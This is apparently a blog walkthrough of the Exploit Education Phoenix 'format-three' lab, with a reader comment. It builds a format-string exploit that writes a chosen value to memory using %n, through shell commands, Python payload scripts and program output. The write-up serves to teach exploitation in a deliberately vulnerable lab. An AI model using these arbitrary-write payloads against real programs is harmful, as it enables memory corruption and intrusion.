The description and source code can be found here:
http://exploit.education/phoenix/format-two/
This level is very similar to the last level with two main exceptions. Instead of getting input from the command line argument, it’s gotten from stdin and we need to set the changeme variable to a specific value.
if (changeme == 0x64457845) { puts("Well done, the 'changeme' variable has been changed correctly!"); } else { printf( "Better luck next time - got 0x%08x, wanted 0x64457845!\n", changeme); }
Immediately, I figure I’d have the same problem here in the amd64 version as I did with the last level:
$ nm /opt/phoenix/amd64/format-three | grep changeme 0000000000600a90 B changeme
Yup. Between the newline character (0x0a) and the null bytes, this won’t work work for this architecture. Maybe someone smarter than myself can do it. However, for now I’ll stick to the x86 version of this binary. Let’s get the changeme address of that one:
$ nm /opt/phoenix/i486/format-three | grep changeme 08049844 B changeme
I should be able to work with this address (0x08049844). I’ll start by finding the number of “%x” format types needed to reach the start of the format string:
$ echo -e "AAAA%x%x%x%x%x%x%x%x%x%x%x%x" | /opt/phoenix/i486/format-three Welcome to phoenix/format-three, brought to you by https://exploit.education AAAA000f7f81cf7f7ffb000ffffd7288048556ffffc720ffffc720fff041414141 Better luck next time - got 0x00000000, wanted 0x64457845!
Looks like it’ll take 12 of them. First, I’ll simply replace the “AAAA” with the addess of the changeme variable and replace the last “%x” with “%n”:
$ echo -e "\x44\x98\x04\x08%x%x%x%x%x%x%x%x%x%x%x%n" | /opt/phoenix/i486/format-three Welcome to phoenix/format-three, brought to you by https://exploit.education D000f7f81cf7f7ffb000ffffd7288048556ffffc720ffffc720fff0 Better luck next time - got 0x0000003a, wanted 0x64457845!
I was able to write 0x3a (58 bytes) to the changeme variable. If you look at the output, count the number of characters (55), and add the 3 unprintable characters (0x98, 0x04, 0x08), the 58 bytes makes sense.
The objective is to write 0x64457845 to the changeme variable. That equates to 1,682,274,373 bytes, much too large to do with a single write. I’ll do this one byte at a time, starting with the least significant byte. Then I’ll put the address for the next byte right after the first, increment the number of bytes written so far to the appropriate amount, and so on. As I read those last sentences, I realize it’s a horrible explanation. Hopefully, it’ll be more clear if I do this step-by-step.
Let’s get the first byte to where it needs to be. So far, I got it to 0x3a, now I just need to add another 11 bytes to the output somewhere. The first %x outputs a single zero. By using that and specifying that I want it to display a minimum of 12 characters (%012x), I can add 11 more bytes:
$ /opt/phoenix/i486/format-three < <(echo -e "\x44\x98\x04\x08%012x%x%x%x%x%x%x%x%x%x%x%n") Welcome to phoenix/format-three, brought to you by https://exploit.education D00000000000000f7f81cf7f7ffb000ffffd7388048556ffffc730ffffc730fff0 Better luck next time - got 0x00000045, wanted 0x64457845!
Perfect. Now I’ll add the address to the next byte and another %n at the end to write to it. However, doing this all on the command prompt is getting a bit ugly. I’ll use a Python script to write the input:
buf = "\x44\x98\x04\x08" buf += "\x45\x98\x04\x08" buf += "%012x" buf += "%x" * 10 buf += "%n%n" print buf
$ /opt/phoenix/i486/format-three < <(python payload.py) Welcome to phoenix/format-three, brought to you by https://exploit.education DE00000000000000f7f81cf7f7ffb000ffffd7388048556ffffc730ffffc730fff0 Better luck next time - got 0x00004949, wanted 0x64457845!
Now that I’m outputting an extra 4 bytes at the beginning, the first value has gone up to 0x49. I’ll need to lower the %012x to %08x and add some more output between the %n types:
buf = "\x44\x98\x04\x08" buf += "\x45\x98\x04\x08" buf += "%08x" buf += "%x" * 10 buf += "%n" buf += " " * 51 buf += "%n" print buf
$ /opt/phoenix/i486/format-three < <(python payload.py) Welcome to phoenix/format-three, brought to you by https://exploit.education DE0000000000f7f81cf7f7ffb000ffffd7188048556ffffc710ffffc710fff0 Better luck next time - got 0x00007845, wanted 0x64457845!
Perfect! What this does not show you are all the spaces after the last hex value. But now I’ve got a problem. The next byte needs to be 0x45, which is lower than 0x78. I can’t take bytes away when using %n. So what I’ll do is set the third byte to 0x145. That last digit, the one, will get overwritten when I write to the fourth byte. Again, I’ll need to reduce the %08x to %04x to account for the added 4-byte address:
buf = "\x44\x98\x04\x08" buf += "\x45\x98\x04\x08" buf += "\x46\x98\x04\x08" buf += "%04x" buf += "%x" * 10 buf += "%n" buf += " " * 51 buf += "%n" buf += " " * 205 buf += "%n" print buf
$ /opt/phoenix/i486/format-three < <(python payload.py) Welcome to phoenix/format-three, brought to you by https://exploit.education DEF000000f7f81cf7f7ffb000ffffd7188048556ffffc710ffffc710fff0 Better luck next time - got 0x01457845, wanted 0x64457845!
Almost done. The last byte needs to be 0x64. Of course, it’s ok if I use 0x164 and this overflows to the next address space. And again, I’ll lower %04x to %x. There’s just one problem, that reduces my output by 3 bytes, not 4:
buf = "\x44\x98\x04\x08" buf += "\x45\x98\x04\x08" buf += "\x46\x98\x04\x08" buf += "\x47\x98\x04\x08" buf += "%x" * 11 buf += "%n" buf += " " * 51 buf += "%n" buf += " " * 205 buf += "%n" buf += " " * 31 buf += "%n" print buf
$ /opt/phoenix/i486/format-three < <(python payload.py) Welcome to phoenix/format-three, brought to you by https://exploit.education DEFG000f7f81cf7f7ffb000ffffd7188048556ffffc710ffffc710fff0 Better luck next time - got 0x65467946, wanted 0x64457845!
SO close! Now I need to figure out how to reduce the number of bytes outputted by some of those %x types. Each one outputs a 4-byte hex value, which turns out to be 8 bytes of output… Unless there are leading zeros, which it leaves off. If I use a different format type, I can reduce the number of output bytes. My final solution looks like this:
buf = "\x44\x98\x04\x08" buf += "\x45\x98\x04\x08" buf += "\x46\x98\x04\x08" buf += "\x47\x98\x04\x08" buf += "%02x" buf += ("%x"*4) + "%d" + ("%x"*5) buf += "%n" buf += " " * 51 buf += "%n" buf += " " * 205 buf += "%n" buf += " " * 31 buf += "%n" print buf
$ /opt/phoenix/i486/format-three < <(python payload.py) Welcome to phoenix/format-three, brought to you by https://exploit.education DEFG0000f7f81cf7f7ffb000-104728048556ffffc710ffffc710fff0 Well done, the 'changeme' variable has been changed correctly!
Couldn’t solve it in amd64 either, if anyone gets it or if you do I’d be really curious to know how. I couldn’t use `%12$n` either in the format string for whatever reason. Thanks for the helpful articles!
Based on your approach, I’ve found that it’s still possible to complete this challenge on amd64 architecture by putting the addresses at the end of payload. They will be copied to the buffer “buf” by the function “read”, but won’t be printed by “printf”. But we don’t need them to be printed, we just need them to be placed on the stack.
My payload script as below:
—-
import struct
changeme_addr = 0x0000000000600a90
def pad(s):
return s + “X”*(80 – len(s))
exploit = “”
exploit += “%p”*20 + “%30521p” + “%n”
exploit += “%60416p” + “%n”
exploit = pad(exploit)
exploit += struct.pack(“Q”, changeme_addr)
exploit += “BBBBBBBB”
exploit += struct.pack(“Q”, changeme_addr+2)
print exploit
—-
/opt/phoenix/amd64/format-three < <(python format-three.py)